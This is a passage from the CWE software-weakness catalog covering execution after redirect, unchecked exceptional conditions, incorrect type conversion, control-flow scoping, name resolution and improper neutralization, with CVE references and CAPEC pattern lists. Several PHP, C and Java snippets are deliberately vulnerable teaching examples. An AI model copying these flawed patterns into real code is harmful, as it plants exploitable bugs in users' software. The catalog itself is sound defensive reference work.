The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.







While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2021-3116	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) https://www.cve.org/CVERecord?id=CVE-2021-3116
CVE-2020-15811	Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning https://www.cve.org/CVERecord?id=CVE-2020-15811
CVE-2016-10003	Proxy performs incorrect comparison of request headers, leading to infoleak https://www.cve.org/CVERecord?id=CVE-2016-10003

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2371
MemberOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2402
MemberOf		977	SFP Secondary Cluster: Design	888	2428
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf		1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf		1397	Comprehensive Categorization: Comparison	1400	2544

Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
15	Command Delimiters

CAPEC-ID	Attack Pattern Name
24	Filter Failure through Buffer Overflow
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
43	Exploiting Multiple Input Interpretation Layers
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
88	OS Command Injection
92	Forced Integer Overflow
120	Double Encoding
182	Flash Injection
267	Leverage Alternate Encoding

CWE-698: Execution After Redirect (EAR)

Weakness ID : 698

Structure : Simple

Abstraction : Base

Description

The web application sends a redirect to another location, but instead of exiting, it executes additional code.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1484
ChildOf		705	Incorrect Control Flow Scoping	1550

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2348

Weakness Ordinalities

Primary :

Alternate Terms

Redirect Without Exit :

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	<i>This weakness could affect the control flow of the application and allow execution of untrusted code.</i>	
Availability		

Detection Methods

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

Demonstrative Examples

Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP

(Bad)

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling `http_redirect()`. This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Observed Examples

Reference	Description
CVE-2013-1402	Execution-after-redirect allows access to application configuration details. https://www.cve.org/CVERecord?id=CVE-2013-1402
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. https://www.cve.org/CVERecord?id=CVE-2009-1936
CVE-2007-2713	Remote attackers can obtain access to administrator functionality through EAR. https://www.cve.org/CVERecord?id=CVE-2007-2713
CVE-2007-4932	Remote attackers can obtain access to administrator functionality through EAR. https://www.cve.org/CVERecord?id=CVE-2007-4932
CVE-2007-5578	Bypass of authentication step through EAR. https://www.cve.org/CVERecord?id=CVE-2007-5578
CVE-2007-2713	Chain: Execution after redirect triggers eval injection. https://www.cve.org/CVERecord?id=CVE-2007-2713
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection. https://www.cve.org/CVERecord?id=CVE-2007-6652

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

References

[REF-565]Adam Doupé, Bryce Boe, Christopher Kruegel and Giovanni Vigna. "Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities". < <http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf> >.

CWE-703: Improper Check or Handling of Exceptional Conditions

Weakness ID : 703

Structure : Simple

Abstraction : Pillar

Description

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2596
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	575
ParentOf	B	393	Return of Wrong Status Code	960
ParentOf	B	397	Declaration of Throws for Generic Exception	968
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	1577
ParentOf	C	755	Improper Handling of Exceptional Conditions	1585
ParentOf	C	1384	Improper Handling of Physical or Environmental Conditions	2269

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2448

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf	B	248	Uncaught Exception	603
ParentOf	B	391	Unchecked Error Condition	955
ParentOf	B	392	Missing Report of Error Condition	958

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf	B	248	Uncaught Exception	603

Nature	Type	ID	Name	Page
ParentOf	B	391	Unchecked Error Condition	955
ParentOf	B	392	Missing Report of Error Condition	958

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Availability	DoS: Crash, Exit, or Restart	
Integrity	Unexpected State	

Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fault Injection - source code Fault Injection - binary Cost effective for partial coverage: Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C

(Bad)

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in

this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following method throws three types of exceptions.

Example Language: Java

(Good)

```
public void doExchange() throws IOException, InvocationTargetException, SQLException {  
    ...  
}
```

While it might seem tidier to write

Example Language:

(Bad)

```
public void doExchange() throws Exception {  
    ...  
}
```

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Observed Examples

Reference	Description
[REF-1374]	Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391) https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards
CVE-2022-22224	Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE-835) https://www.cve.org/CVERecord?id=CVE-2022-22224

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2386
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2400
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2420
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2469
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1405	Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions	1400	2552

Notes

Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions

References

- [REF-567]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < <http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf> >.
- [REF-568]Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995 August 1. < <https://csrc.nist.gov/csrc/media/publications/conference-paper/1996/10/22/proceedings-of-the-19th-nissc-1996/documents/paper057/paper.pdf> >.2023-04-07.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-1374]Unciphered. "Randstorm: You Can't Patch a House of Cards". 2023 November 4. < <https://www.unciphered.com/blog/randstorm-you-cant-patch-a-house-of-cards> >.2023-11-15.

CWE-704: Incorrect Type Conversion or Cast

Weakness ID : 704

Structure : Simple

Abstraction : Class

Description

The product does not correctly convert an object, resource, or structure from one type to a different type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf	Y	588	Attempt to Access Child of a Non-structure Pointer	1332
ParentOf	B	681	Incorrect Conversion between Numeric Types	1504
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1785
ParentOf	B	1389	Incorrect Parsing of Numbers with Different Radices	2275

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	681	Incorrect Conversion between Numeric Types	1504
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1785

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Not Language-Specific (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

In this example, depending on the return value of `accessmainframe()`, the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned value, `amount` will be implicitly cast to an unsigned number.

Example Language: C

(Bad)

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of `accessmainframe()` is -1, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

Example Language: C

(Bad)

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
```

```
};
int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

```
Pointer of name is 10830
Pointer of name is now 10831
Message: ello World
```

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.



In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Observed Examples

Reference	Description
CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122) https://www.cve.org/CVERecord?id=CVE-2021-43537
CVE-2022-3979	Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!===" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704) https://www.cve.org/CVERecord?id=CVE-2022-3979

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2362
MemberOf		741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2366

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2371
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2397
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2402
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2461
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2476
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2477
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2479
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP05-C		Do not cast away a const qualification
CERT C Secure Coding	EXP39-C	CWE More Abstract	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	STR34-C	CWE More Abstract	Cast characters to unsigned types before converting to larger integer sizes
CERT C Secure Coding	STR37-C	CWE More Abstract	Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCRM	ASCRM-CWE-704		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

CWE-705: Incorrect Control Flow Scoping

Weakness ID : 705

Structure : Simple

Abstraction : Class

Description

The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1525
ParentOf	B	248	Uncaught Exception	603
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	940
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	964
ParentOf	B	396	Declaration of Catch for Generic Exception	966
ParentOf	B	397	Declaration of Throws for Generic Exception	968
ParentOf	B	455	Non-exit on Failed Initialization	1095
ParentOf	B	584	Return Inside Finally Block	1325
ParentOf	B	698	Execution After Redirect (EAR)	1542

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic Other	

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java

(Bad)

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP

(Bad)

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling `http_redirect()`. This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Example 3:

Included in the `doPost()` method defined below is a call to `System.exit()` in the event of a specific exception.

Example Language: Java

(Bad)











```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
        System.exit(1);
    }
}
```



Observed Examples

Reference	Description
CVE-2023-21087	Java code in a smartphone OS can encounter a "boot loop" due to an uncaught exception https://www.cve.org/CVERecord?id=CVE-2023-21087
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). https://www.cve.org/CVERecord?id=CVE-2014-1266

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	2369
MemberOf		746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2371
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2386
MemberOf		854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	2388
MemberOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2399
MemberOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2400
MemberOf		977	SFP Secondary Cluster: Design	888	2428
MemberOf		1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2469
MemberOf		1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2471
MemberOf		1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	2481

Nature	Type	ID	Name	V	Page
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2487
MemberOf		1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ENV32-C	CWE More Abstract	All exit handlers must return normally
CERT C Secure Coding	ERR04-C		Choose an appropriate termination strategy
The CERT Oracle Secure Coding Standard for Java (2011)	THI05-J		Do not use Thread.stop() to terminate threads
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions

CWE-706: Use of Incorrectly-Resolved Name or Reference

Weakness ID : 706

Structure : Simple

Abstraction : Class









Description




The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Relationships




The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		664	Improper Control of a Resource Through its Lifetime	1463
ParentOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf		41	Improper Resolution of Path Equivalence	87
ParentOf		59	Improper Link Resolution Before File Access ('Link Following')	112
ParentOf		66	Improper Handling of File Names that Identify Virtual Resources	125
ParentOf		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	242
ParentOf		178	Improper Handling of Case Sensitivity	451
ParentOf		386	Symbolic Name not Mapping to Correct Object	949

Nature	Type	ID	Name	Page
ParentOf		827	Improper Control of Document Type Definition	1745
PeerOf		99	Improper Control of Resource Identifiers ('Resource Injection')	249
PeerOf		99	Improper Control of Resource Identifiers ('Resource Injection')	249

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf		59	Improper Link Resolution Before File Access ('Link Following')	112
ParentOf		178	Improper Handling of Case Sensitivity	451

Applicable Platforms







Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2411
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2430
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
48	Passing Local Filenames to Functions That Expect a URL
159	Redirect Access to Libraries
177	Create files with the same name as files protected with a higher classification
641	DLL Side-Loading

CWE-707: Improper Neutralization

Weakness ID : 707

Structure : Simple

Abstraction : Pillar

Description

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:












- checking that the input/output is already "safe" (e.g. validation)
- transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
- preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
- preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf		1000	Research Concepts	2596
ParentOf		20	Improper Input Validation	20
ParentOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	138
ParentOf		116	Improper Encoding or Escaping of Output	287
ParentOf		138	Improper Neutralization of Special Elements	379
ParentOf		170	Improper Null Termination	434
ParentOf		172	Encoding Error	439
ParentOf		228	Improper Handling of Syntactically Invalid Structure	575
ParentOf		240	Improper Handling of Inconsistent Structural Elements	590
ParentOf		463	Deletion of Data Structure Sentinel	1113
ParentOf		1426	Improper Validation of Generative AI Output	2321

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2455

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Not OS-Specific (*Prevalence = Undetermined*)

Architecture : Not Architecture-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf		1370	ICS Supply Chain: Common Mode Frailties	1358	2528
MemberOf		1407	Comprehensive Categorization: Improper Neutralization	1400	2553

Notes

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
43	Exploiting Multiple Input Interpretation Layers
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
83	XPath Injection
84	XQuery Injection
250	XML Injection
276	Inter-component Protocol Manipulation
277	Data Interchange Protocol Manipulation
278	Web Services Protocol Manipulation
279	SOAP Manipulation
468	Generic Cross-Browser Cross-Domain Theft

CWE-708: Incorrect Ownership Assignment

Weakness ID : 708

Structure : Simple

Abstraction : Base

Description

The product assigns an owner to a resource, but the owner is outside of the intended control sphere.


Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
